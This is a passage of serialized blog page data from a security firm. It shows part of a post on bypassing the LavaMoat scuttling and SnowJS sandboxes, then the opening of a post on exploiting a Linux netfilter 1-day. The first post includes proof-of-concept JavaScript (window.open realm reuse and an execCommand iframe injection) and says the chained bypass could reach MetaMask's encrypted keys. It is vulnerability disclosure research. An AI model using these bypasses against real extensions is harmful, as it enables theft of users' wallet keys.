window.open('/non_existent');\nw.alert(document.domain)\n",[47002],{"type":19,"tag":27,"props":47003,"children":47004},{"__ignoreMap":7},[47005,47047],{"type":19,"tag":168,"props":47006,"children":47007},{"class":170,"line":171},[47008,47012,47017,47021,47025,47029,47034,47038,47043],{"type":19,"tag":168,"props":47009,"children":47010},{"style":382},[47011],{"type":24,"value":7097},{"type":19,"tag":168,"props":47013,"children":47014},{"style":393},[47015],{"type":24,"value":47016}," w",{"type":19,"tag":168,"props":47018,"children":47019},{"style":399},[47020],{"type":24,"value":402},{"type":19,"tag":168,"props":47022,"children":47023},{"style":393},[47024],{"type":24,"value":28880},{"type":19,"tag":168,"props":47026,"children":47027},{"style":212},[47028],{"type":24,"value":948},{"type":19,"tag":168,"props":47030,"children":47031},{"style":175},[47032],{"type":24,"value":47033},"open",{"type":19,"tag":168,"props":47035,"children":47036},{"style":212},[47037],{"type":24,"value":500},{"type":19,"tag":168,"props":47039,"children":47040},{"style":181},[47041],{"type":24,"value":47042},"'/non_existent'",{"type":19,"tag":168,"props":47044,"children":47045},{"style":212},[47046],{"type":24,"value":1249},{"type":19,"tag":168,"props":47048,"children":47049},{"class":170,"line":198},[47050,47055,47059,47063,47067,47071,47075,47079],{"type":19,"tag":168,"props":47051,"children":47052},{"style":393},[47053],{"type":24,"value":47054},"w",{"type":19,"tag":168,"props":47056,"children":47057},{"style":212},[47058],{"type":24,"value":948},{"type":19,"tag":168,"props":47060,"children":47061},{"style":175},[47062],{"type":24,"value":30170},{"type":19,"tag":168,"props":47064,"children":47065},{"style":212},[47066],{"type":24,"value":500},{"type":19,"tag":168,"props":47068,"children":47069},{"style":393},[47070],{"type":24,"value":30180},{"type":19,"tag":168,"props":47072,"children":47073},{"style":212},[47074],{"type":24,"value":948},{"type":19,"tag":168,"props":47076,"children":47077},{"style":393},[47078],{"type":24,"value":30190},{"type":19,"tag":168,"props":47080,"children":47081},{"style":212},[47082],{"type":24,"value":557},{"type":19,"tag":20,"props":47084,"children":47085},{},[47086,47088,47093],{"type":24,"value":47087},"This opens a new window with a new JS Realm (another ",{"type":19,"tag":27,"props":47089,"children":47091},{"className":47090},[],[47092],{"type":24,"value":34892},{"type":24,"value":47094}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":19,"tag":20,"props":47096,"children":47097},{},[47098,47100,47107],{"type":24,"value":47099},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":19,"tag":269,"props":47101,"children":47104},{"href":47102,"rel":47103},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[273],[47105],{"type":24,"value":47106},"Metamask implementation",{"type":24,"value":524},{"type":19,"tag":7050,"props":47109,"children":47111},{"id":47110},"snowjs-attack-surface",[47112],{"type":24,"value":47113},"SnowJS Attack Surface",{"type":19,"tag":20,"props":47115,"children":47116},{},[47117],{"type":24,"value":47118},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":19,"tag":20,"props":47120,"children":47121},{},[47122,47124,47131],{"type":24,"value":47123},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":19,"tag":269,"props":47125,"children":47128},{"href":47126,"rel":47127},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[273],[47129],{"type":24,"value":47130},"hooked inserters",{"type":24,"value":47132}," functions:",{"type":19,"tag":158,"props":47134,"children":47136},{"className":28835,"code":47135,"language":28837,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[47137],{"type":19,"tag":27,"props":47138,"children":47139},{"__ignoreMap":7},[47140,47160,47181,47220,47274,47313,47412,47432,47453],{"type":19,"tag":168,"props":47141,"children":47142},{"class":170,"line":171},[47143,47147,47152,47156],{"type":19,"tag":168,"props":47144,"children":47145},{"style":382},[47146],{"type":24,"value":7097},{"type":19,"tag":168,"props":47148,"children":47149},{"style":393},[47150],{"type":24,"value":47151}," map",{"type":19,"tag":168,"props":47153,"children":47154},{"style":399},[47155],{"type":24,"value":402},{"type":19,"tag":168,"props":47157,"children":47158},{"style":212},[47159],{"type":24,"value":691},{"type":19,"tag":168,"props":47161,"children":47162},{"class":170,"line":198},[47163,47168,47172,47177],{"type":19,"tag":168,"props":47164,"children":47165},{"style":393},[47166],{"type":24,"value":47167}," Range:",{"type":19,"tag":168,"props":47169,"children":47170},{"style":212},[47171],{"type":24,"value":20488},{"type":19,"tag":168,"props":47173,"children":47174},{"style":181},[47175],{"type":24,"value":47176},"'insertNode'",{"type":19,"tag":168,"props":47178,"children":47179},{"style":212},[47180],{"type":24,"value":11709},{"type":19,"tag":168,"props":47182,"children":47183},{"class":170,"line":415},[47184,47189,47193,47198,47202,47207,47211,47216],{"type":19,"tag":168,"props":47185,"children":47186},{"style":393},[47187],{"type":24,"value":47188}," DocumentFragment:",{"type":19,"tag":168,"props":47190,"children":47191},{"style":212},[47192],{"type":24,"value":20488},{"type":19,"tag":168,"props":47194,"children":47195},{"style":181},[47196],{"type":24,"value":47197},"'replaceChildren'",{"type":19,"tag":168,"props":47199,"children":47200},{"style":212},[47201],{"type":24,"value":471},{"type":19,"tag":168,"props":47203,"children":47204},{"style":181},[47205],{"type":24,"value":47206},"'append'",{"type":19,"tag":168,"props":47208,"children":47209},{"style":212},[47210],{"type":24,"value":471},{"type":19,"tag":168,"props":47212,"children":47213},{"style":181},[47214],{"type":24,"value":47215},"'prepend'",{"type":19,"tag":168,"props":47217,"children":47218},{"style":212},[47219],{"type":24,"value":11709},{"type":19,"tag":168,"props":47221,"children":47222},{"class":170,"line":450},[47223,47228,47232,47236,47240,47244,47248,47252,47256,47261,47265,47270],{"type":19,"tag":168,"props":47224,"children":47225},{"style":393},[47226],{"type":24,"value":47227}," Document:",{"type":19,"tag":168,"props":47229,"children":47230},{"style":212},[47231],{"type":24,"value":20488},{"type":19,"tag":168,"props":47233,"children":47234},{"style":181},[47235],{"type":24,"value":47197},{"type":19,"tag":168,"props":47237,"children":47238},{"style":212},[47239],{"type":24,"value":471},{"type":19,"tag":168,"props":47241,"children":47242},{"style":181},[47243],{"type":24,"value":47206},{"type":19,"tag":168,"props":47245,"children":47246},{"style":212},[47247],{"type":24,"value":471},{"type":19,"tag":168,"props":47249,"children":47250},{"style":181},[47251],{"type":24,"value":47215},{"type":19,"tag":168,"props":47253,"children":47254},{"style":212},[47255],{"type":24,"value":471},{"type":19,"tag":168,"props":47257,"children":47258},{"style":181},[47259],{"type":24,"value":47260},"'write'",{"type":19,"tag":168,"props":47262,"children":47263},{"style":212},[47264],{"type":24,"value":471},{"type":19,"tag":168,"props":47266,"children":47267},{"style":181},[47268],{"type":24,"value":47269},"'writeln'",{"type":19,"tag":168,"props":47271,"children":47272},{"style":212},[47273],{"type":24,"value":11709},{"type":19,"tag":168,"props":47275,"children":47276},{"class":170,"line":560},[47277,47282,47286,47291,47295,47300,47304,47309],{"type":19,"tag":168,"props":47278,"children":47279},{"style":393},[47280],{"type":24,"value":47281}," Node:",{"type":19,"tag":168,"props":47283,"children":47284},{"style":212},[47285],{"type":24,"value":20488},{"type":19,"tag":168,"props":47287,"children":47288},{"style":181},[47289],{"type":24,"value":47290},"'appendChild'",{"type":19,"tag":168,"props":47292,"children":47293},{"style":212},[47294],{"type":24,"value":471},{"type":19,"tag":168,"props":47296,"children":47297},{"style":181},[47298],{"type":24,"value":47299},"'insertBefore'",{"type":19,"tag":168,"props":47301,"children":47302},{"style":212},[47303],{"type":24,"value":471},{"type":19,"tag":168,"props":47305,"children":47306},{"style":181},[47307],{"type":24,"value":47308},"'replaceChild'",{"type":19,"tag":168,"props":47310,"children":47311},{"style":212},[47312],{"type":24,"value":11709},{"type":19,"tag":168,"props":47314,"children":47315},{"class":170,"line":666},[47316,47321,47325,47330,47334,47339,47343,47348,47352,47357,47361,47366,47370,47374,47378,47383,47387,47391,47395,47400,47404,47408],{"type":19,"tag":168,"props":47317,"children":47318},{"style":393},[47319],{"type":24,"value":47320}," Element:",{"type":19,"tag":168,"props":47322,"children":47323},{"style":212},[47324],{"type":24,"value":20488},{"type":19,"tag":168,"props":47326,"children":47327},{"style":181},[47328],{"type":24,"value":47329},"'innerHTML'",{"type":19,"tag":168,"props":47331,"children":47332},{"style":212},[47333],{"type":24,"value":471},{"type":19,"tag":168,"props":47335,"children":47336},{"style":181},[47337],{"type":24,"value":47338},"'outerHTML'",{"type":19,"tag":168,"props":47340,"children":47341},{"style":212},[47342],{"type":24,"value":471},{"type":19,"tag":168,"props":47344,"children":47345},{"style":181},[47346],{"type":24,"value":47347},"'insertAdjacentHTML'",{"type":19,"tag":168,"props":47349,"children":47350},{"style":212},[47351],{"type":24,"value":471},{"type":19,"tag":168,"props":47353,"children":47354},{"style":181},[47355],{"type":24,"value":47356},"'replaceWith'",{"type":19,"tag":168,"props":47358,"children":47359},{"style":212},[47360],{"type":24,"value":471},{"type":19,"tag":168,"props":47362,"children":47363},{"style":181},[47364],{"type":24,"value":47365},"'insertAdjacentElement'",{"type":19,"tag":168,"props":47367,"children":47368},{"style":212},[47369],{"type":24,"value":471},{"type":19,"tag":168,"props":47371,"children":47372},{"style":181},[47373],{"type":24,"value":47206},{"type":19,"tag":168,"props":47375,"children":47376},{"style":212},[47377],{"type":24,"value":471},{"type":19,"tag":168,"props":47379,"children":47380},{"style":181},[47381],{"type":24,"value":47382},"'before'",{"type":19,"tag":168,"props":47384,"children":47385},{"style":212},[47386],{"type":24,"value":471},{"type":19,"tag":168,"props":47388,"children":47389},{"style":181},[47390],{"type":24,"value":47215},{"type":19,"tag":168,"props":47392,"children":47393},{"style":212},[47394],{"type":24,"value":471},{"type":19,"tag":168,"props":47396,"children":47397},{"style":181},[47398],{"type":24,"value":47399},"'after'",{"type":19,"tag":168,"props":47401,"children":47402},{"style":212},[47403],{"type":24,"value":471},{"type":19,"tag":168,"props":47405,"children":47406},{"style":181},[47407],{"type":24,"value":47197},{"type":19,"tag":168,"props":47409,"children":47410},{"style":212},[47411],{"type":24,"value":11709},{"type":19,"tag":168,"props":47413,"children":47414},{"class":170,"line":694},[47415,47420,47424,47428],{"type":19,"tag":168,"props":47416,"children":47417},{"style":393},[47418],{"type":24,"value":47419}," ShadowRoot:",{"type":19,"tag":168,"props":47421,"children":47422},{"style":212},[47423],{"type":24,"value":20488},{"type":19,"tag":168,"props":47425,"children":47426},{"style":181},[47427],{"type":24,"value":47329},{"type":19,"tag":168,"props":47429,"children":47430},{"style":212},[47431],{"type":24,"value":11709},{"type":19,"tag":168,"props":47433,"children":47434},{"class":170,"line":707},[47435,47440,47444,47449],{"type":19,"tag":168,"props":47436,"children":47437},{"style":393},[47438],{"type":24,"value":47439}," HTMLIFrameElement:",{"type":19,"tag":168,"props":47441,"children":47442},{"style":212},[47443],{"type":24,"value":20488},{"type":19,"tag":168,"props":47445,"children":47446},{"style":181},[47447],{"type":24,"value":47448},"'srcdoc'",{"type":19,"tag":168,"props":47450,"children":47451},{"style":212},[47452],{"type":24,"value":11709},{"type":19,"tag":168,"props":47454,"children":47455},{"class":170,"line":725},[47456],{"type":19,"tag":168,"props":47457,"children":47458},{"style":212},[47459],{"type":24,"value":14026},{"type":19,"tag":20,"props":47461,"children":47462},{},[47463],{"type":24,"value":47464},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":19,"tag":20,"props":47466,"children":47467},{},[47468],{"type":24,"value":47469},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":19,"tag":7050,"props":47471,"children":47473},{"id":47472},"bypassing-snowjs",[47474],{"type":24,"value":47475},"Bypassing SnowJS",{"type":19,"tag":20,"props":47477,"children":47478},{},[47479,47481,47492,47494,47500],{"type":24,"value":47480},"The deprecated ",{"type":19,"tag":269,"props":47482,"children":47485},{"href":47483,"rel":47484},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[273],[47486],{"type":19,"tag":27,"props":47487,"children":47489},{"className":47488},[],[47490],{"type":24,"value":47491},"document.execCommand",{"type":24,"value":47493}," function is used to execute commands inside a ",{"type":19,"tag":27,"props":47495,"children":47497},{"className":47496},[],[47498],{"type":24,"value":47499},"contenteditable",{"type":24,"value":47501}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":19,"tag":158,"props":47503,"children":47506},{"className":47504,"code":47505,"language":29855,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[47507],{"type":19,"tag":27,"props":47508,"children":47509},{"__ignoreMap":7},[47510],{"type":19,"tag":168,"props":47511,"children":47512},{"class":170,"line":171},[47513,47517,47521,47525,47529,47534,47539,47544,47549,47553],{"type":19,"tag":168,"props":47514,"children":47515},{"style":29848},[47516],{"type":24,"value":3240},{"type":19,"tag":168,"props":47518,"children":47519},{"style":382},[47520],{"type":24,"value":28818},{"type":19,"tag":168,"props":47522,"children":47523},{"style":393},[47524],{"type":24,"value":29928},{"type":19,"tag":168,"props":47526,"children":47527},{"style":212},[47528],{"type":24,"value":486},{"type":19,"tag":168,"props":47530,"children":47531},{"style":181},[47532],{"type":24,"value":47533},"test",{"type":19,"tag":168,"props":47535,"children":47536},{"style":393},[47537],{"type":24,"value":47538}," contenteditable",{"type":19,"tag":168,"props":47540,"children":47541},{"style":393},[47542],{"type":24,"value":47543}," autofocus",{"type":19,"tag":168,"props":47545,"children":47546},{"style":29848},[47547],{"type":24,"value":47548},">\u003C/",{"type":19,"tag":168,"props":47550,"children":47551},{"style":382},[47552],{"type":24,"value":28818},{"type":19,"tag":168,"props":47554,"children":47555},{"style":29848},[47556],{"type":24,"value":3427},{"type":19,"tag":20,"props":47558,"children":47559},{},[47560,47562,47568,47570,47575],{"type":24,"value":47561},"After inserting this element to a page, it is possible to use ",{"type":19,"tag":27,"props":47563,"children":47565},{"className":47564},[],[47566],{"type":24,"value":47567},"insertHTML",{"type":24,"value":47569}," command of ",{"type":19,"tag":27,"props":47571,"children":47573},{"className":47572},[],[47574],{"type":24,"value":47491},{"type":24,"value":47576}," to add a non-sandboxed iframe.",{"type":19,"tag":158,"props":47578,"children":47580},{"className":28835,"code":47579,"language":28837,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[47581],{"type":19,"tag":27,"props":47582,"children":47583},{"__ignoreMap":7},[47584],{"type":19,"tag":168,"props":47585,"children":47586},{"class":170,"line":171},[47587,47591,47595,47600,47604,47609,47613,47617,47621,47626],{"type":19,"tag":168,"props":47588,"children":47589},{"style":393},[47590],{"type":24,"value":30180},{"type":19,"tag":168,"props":47592,"children":47593},{"style":212},[47594],{"type":24,"value":948},{"type":19,"tag":168,"props":47596,"children":47597},{"style":175},[47598],{"type":24,"value":47599},"execCommand",{"type":19,"tag":168,"props":47601,"children":47602},{"style":212},[47603],{"type":24,"value":500},{"type":19,"tag":168,"props":47605,"children":47606},{"style":181},[47607],{"type":24,"value":47608},"'insertHTML'",{"type":19,"tag":168,"props":47610,"children":47611},{"style":212},[47612],{"type":24,"value":471},{"type":19,"tag":168,"props":47614,"children":47615},{"style":382},[47616],{"type":24,"value":5612},{"type":19,"tag":168,"props":47618,"children":47619},{"style":212},[47620],{"type":24,"value":471},{"type":19,"tag":168,"props":47622,"children":47623},{"style":181},[47624],{"type":24,"value":47625},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":19,"tag":168,"props":47627,"children":47628},{"style":212},[47629],{"type":24,"value":1249},{"type":19,"tag":7050,"props":47631,"children":47633},{"id":47632},"impact-on-lavamoat-scuttling",[47634],{"type":24,"value":47635},"Impact On Lavamoat Scuttling",{"type":19,"tag":20,"props":47637,"children":47638},{},[47639],{"type":24,"value":47640},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":19,"tag":20,"props":47642,"children":47643},{},[47644,47646,47651,47653,47658],{"type":24,"value":47645},"For the exploit, the only used functions are in ",{"type":19,"tag":27,"props":47647,"children":47649},{"className":47648},[],[47650],{"type":24,"value":30180},{"type":24,"value":47652}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":19,"tag":27,"props":47654,"children":47656},{"className":47655},[],[47657],{"type":24,"value":34892},{"type":24,"value":47659}," object.",{"type":19,"tag":20,"props":47661,"children":47662},{},[47663,47665,47670],{"type":24,"value":47664},"Consider this example, which runs a scuttled ",{"type":19,"tag":27,"props":47666,"children":47668},{"className":47667},[],[47669],{"type":24,"value":30170},{"type":24,"value":22936},{"type":19,"tag":158,"props":47672,"children":47674},{"className":28835,"code":47673,"language":28837,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[47675],{"type":19,"tag":27,"props":47676,"children":47677},{"__ignoreMap":7},[47678,47714,47751,47794],{"type":19,"tag":168,"props":47679,"children":47680},{"class":170,"line":171},[47681,47685,47689,47693,47697,47701,47705,47710],{"type":19,"tag":168,"props":47682,"children":47683},{"style":393},[47684],{"type":24,"value":30180},{"type":19,"tag":168,"props":47686,"children":47687},{"style":212},[47688],{"type":24,"value":948},{"type":19,"tag":168,"props":47690,"children":47691},{"style":393},[47692],{"type":24,"value":29872},{"type":19,"tag":168,"props":47694,"children":47695},{"style":212},[47696],{"type":24,"value":948},{"type":19,"tag":168,"props":47698,"children":47699},{"style":393},[47700],{"type":24,"value":32446},{"type":19,"tag":168,"props":47702,"children":47703},{"style":399},[47704],{"type":24,"value":402},{"type":19,"tag":168,"props":47706,"children":47707},{"style":181},[47708],{"type":24,"value":47709}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":19,"tag":168,"props":47711,"children":47712},{"style":212},[47713],{"type":24,"value":412},{"type":19,"tag":168,"props":47715,"children":47716},{"class":170,"line":198},[47717,47721,47725,47729,47733,47738,47742,47747],{"type":19,"tag":168,"props":47718,"children":47719},{"style":393},[47720],{"type":24,"value":30180},{"type":19,"tag":168,"props":47722,"children":47723},{"style":212},[47724],{"type":24,"value":948},{"type":19,"tag":168,"props":47726,"children":47727},{"style":175},[47728],{"type":24,"value":32471},{"type":19,"tag":168,"props":47730,"children":47731},{"style":212},[47732],{"type":24,"value":500},{"type":19,"tag":168,"props":47734,"children":47735},{"style":181},[47736],{"type":24,"value":47737},"'test'",{"type":19,"tag":168,"props":47739,"children":47740},{"style":212},[47741],{"type":24,"value":18197},{"type":19,"tag":168,"props":47743,"children":47744},{"style":175},[47745],{"type":24,"value":47746},"focus",{"type":19,"tag":168,"props":47748,"children":47749},{"style":212},[47750],{"type":24,"value":1084},{"type":19,"tag":168,"props":47752,"children":47753},{"class":170,"line":415},[47754,47758,47762,47766,47770,47774,47778,47782,47786,47790],{"type":19,"tag":168,"props":47755,"children":47756},{"style":393},[47757],{"type":24,"value":30180},{"type":19,"tag":168,"props":47759,"children":47760},{"style":212},[47761],{"type":24,"value":948},{"type":19,"tag":168,"props":47763,"children":47764},{"style":175},[47765],{"type":24,"value":47599},{"type":19,"tag":168,"props":47767,"children":47768},{"style":212},[47769],{"type":24,"value":500},{"type":19,"tag":168,"props":47771,"children":47772},{"style":181},[47773],{"type":24,"value":47608},{"type":19,"tag":168,"props":47775,"children":47776},{"style":212},[47777],{"type":24,"value":471},{"type":19,"tag":168,"props":47779,"children":47780},{"style":382},[47781],{"type":24,"value":5612},{"type":19,"tag":168,"props":47783,"children":47784},{"style":212},[47785],{"type":24,"value":471},{"type":19,"tag":168,"props":47787,"children":47788},{"style":181},[47789],{"type":24,"value":47625},{"type":19,"tag":168,"props":47791,"children":47792},{"style":212},[47793],{"type":24,"value":1249},{"type":19,"tag":168,"props":47795,"children":47796},{"class":170,"line":450},[47797,47801,47805,47810,47814,47818,47823,47827,47832,47837,47841,47845,47849,47853,47857,47861],{"type":19,"tag":168,"props":47798,"children":47799},{"style":393},[47800],{"type":24,"value":30180},{"type":19,"tag":168,"props":47802,"children":47803},{"style":212},[47804],{"type":24,"value":948},{"type":19,"tag":168,"props":47806,"children":47807},{"style":175},[47808],{"type":24,"value":47809},"getElementsByTagName",{"type":19,"tag":168,"props":47811,"children":47812},{"style":212},[47813],{"type":24,"value":500},{"type":19,"tag":168,"props":47815,"children":47816},{"style":181},[47817],{"type":24,"value":34205},{"type":19,"tag":168,"props":47819,"children":47820},{"style":212},[47821],{"type":24,"value":47822},")[",{"type":19,"tag":168,"props":47824,"children":47825},{"style":192},[47826],{"type":24,"value":1452},{"type":19,"tag":168,"props":47828,"children":47829},{"style":212},[47830],{"type":24,"value":47831},"].",{"type":19,"tag":168,"props":47833,"children":47834},{"style":393},[47835],{"type":24,"value":47836},"contentWindow",{"type":19,"tag":168,"props":47838,"children":47839},{"style":212},[47840],{"type":24,"value":948},{"type":19,"tag":168,"props":47842,"children":47843},{"style":175},[47844],{"type":24,"value":30170},{"type":19,"tag":168,"props":47846,"children":47847},{"style":212},[47848],{"type":24,"value":500},{"type":19,"tag":168,"props":47850,"children":47851},{"style":393},[47852],{"type":24,"value":30180},{"type":19,"tag":168,"props":47854,"children":47855},{"style":212},[47856],{"type":24,"value":948},{"type":19,"tag":168,"props":47858,"children":47859},{"style":393},[47860],{"type":24,"value":30190},{"type":19,"tag":168,"props":47862,"children":47863},{"style":212},[47864],{"type":24,"value":1249},{"type":19,"tag":7050,"props":47866,"children":47868},{"id":47867},"snowjs-patch",[47869],{"type":24,"value":47870},"SnowJS Patch",{"type":19,"tag":20,"props":47872,"children":47873},{},[47874,47876,47883,47885,47892],{"type":24,"value":47875},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":19,"tag":269,"props":47877,"children":47880},{"href":47878,"rel":47879},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[273],[47881],{"type":24,"value":47882},"browser feature within W3C standards",{"type":24,"value":47884},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":19,"tag":269,"props":47886,"children":47889},{"href":47887,"rel":47888},"https://github.com/weizman/Realms-Initialization-Control",[273],[47890],{"type":24,"value":47891},"Here",{"type":24,"value":47893}," is their new proposal.",{"type":19,"tag":36,"props":47895,"children":47897},{"id":47896},"chaining-the-impacts",[47898],{"type":24,"value":47899},"Chaining The Impacts",{"type":19,"tag":20,"props":47901,"children":47902},{},[47903],{"type":24,"value":47904},"We were able to find two vulnerabilities in lavamoat project:",{"type":19,"tag":2869,"props":47906,"children":47907},{},[47908,47913],{"type":19,"tag":47,"props":47909,"children":47910},{},[47911],{"type":24,"value":47912},"Policy File Bypass",{"type":19,"tag":47,"props":47914,"children":47915},{},[47916],{"type":24,"value":47917},"Scuttling Bypass",{"type":19,"tag":20,"props":47919,"children":47920},{},[47921],{"type":24,"value":47922},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":19,"tag":20,"props":47924,"children":47925},{},[47926],{"type":24,"value":47927},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":19,"tag":36,"props":47929,"children":47930},{"id":26402},[47931],{"type":24,"value":16400},{"type":19,"tag":20,"props":47933,"children":47934},{},[47935],{"type":24,"value":47936},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":19,"tag":28818,"props":47938,"children":47939},{"style":28820},[47940],{"type":19,"tag":1344,"props":47941,"children":47944},{"src":47942,"alt":47943,"style":28826},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":19,"tag":15873,"props":47946,"children":47948},{"className":47947,"dataFootnotes":7},[15876],[47949,47954],{"type":19,"tag":36,"props":47950,"children":47952},{"className":47951,"id":12928},[15881],[47953],{"type":24,"value":15884},{"type":19,"tag":2869,"props":47955,"children":47956},{},[47957],{"type":19,"tag":47,"props":47958,"children":47959},{"id":27837},[47960,47962,47969,47970],{"type":24,"value":47961},"Excluding SES, which was covered ",{"type":19,"tag":269,"props":47963,"children":47966},{"href":47964,"rel":47965},"https://osec.io/blog/2023-11-01-metamask-snaps",[273],[47967],{"type":24,"value":47968},"in our last article",{"type":24,"value":3893},{"type":19,"tag":269,"props":47971,"children":47973},{"href":27865,"ariaLabel":15987,"className":47972,"dataFootnoteBackref":7},[15989],[47974],{"type":24,"value":15992},{"type":19,"tag":232,"props":47976,"children":47977},{},[47978],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":47980},[47981,47985,47991,47997,47998,47999],{"id":16409,"depth":198,"text":16412,"children":47982},[47983,47984],{"id":26485,"depth":415,"text":26488},{"id":44602,"depth":415,"text":44605},{"id":45358,"depth":198,"text":45361,"children":47986},[47987,47988,47989,47990],{"id":45609,"depth":415,"text":45612},{"id":46084,"depth":415,"text":46087},{"id":46741,"depth":415,"text":46744},{"id":46864,"depth":415,"text":46867},{"id":46982,"depth":198,"text":46985,"children":47992},[47993,47994,47995,47996],{"id":47110,"depth":415,"text":47113},{"id":47472,"depth":415,"text":47475},{"id":47632,"depth":415,"text":47635},{"id":47867,"depth":415,"text":47870},{"id":47896,"depth":198,"text":47899},{"id":26402,"depth":198,"text":16400},{"id":12928,"depth":198,"text":15884},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":48004,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48005,"description":48006,"author":48007,"image":48008,"date":48010,"isFeatured":14,"tags":48011,"onBlogPage":14,"body":48014,"_type":242,"_id":58395,"_source":244,"_file":58396,"_stem":58397,"_extension":247},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":48009,"height":6706,"width":3157},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[48012,48013],"kernal","linux",{"type":16,"children":48015,"toc":58363},[48016,48029,48043,48048,48054,48064,48069,48075,48080,48098,48112,48121,48154,48159,48165,48184,48217,48223,48236,48446,48513,49077,49096,49321,49380,49386,49406,49446,49634,49639,49790,49846,49851,50365,50384,50653,50679,51188,51255,51261,51297,51302,51568,51601,51613,51640,51652,51657,51663,51684,51690,51711,51734,52566,52572,52612,53152,53163,53197,53264,53318,53550,53556,53600,54064,54070,54081,54111,54194,54199,54204,54240,54292,54323,54878,54884,54901,54907,54912,54918,54946,55139,55159,55175,55770,55776,55811,55834,55846,55852,55880,56477,56502,57471,57482,57495,57508,58274,58288,58294,58306,58312,58340,58345,58349,58354,58359],{"type":19,"tag":20,"props":48017,"children":48018},{},[48019,48021,48028],{"type":24,"value":48020},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":19,"tag":269,"props":48022,"children":48025},{"href":48023,"rel":48024},"https://google.github.io/security-research/kernelctf/rules.html",[273],[48026],{"type":24,"value":48027},"KernelCTF VRP",{"type":24,"value":948},{"type":19,"tag":20,"props":48030,"children":48031},{},[48032,48034,48041],{"type":24,"value":48033},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":19,"tag":269,"props":48035,"children":48038},{"href":48036,"rel":48037},"https://github.com/conlonialC",[273],[48039],{"type":24,"value":48040},"lonial con",{"type":24,"value":48042},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":19,"tag":20,"props":48044,"children":48045},{},[48046],{"type":24,"value":48047},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":19,"tag":36,"props":48049,"children":48051},{"id":48050},"the-kernel",[48052],{"type":24,"value":48053},"The kernel",{"type":19,"tag":20,"props":48055,"children":48056},{},[48057,48059],{"type":24,"value":48058},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 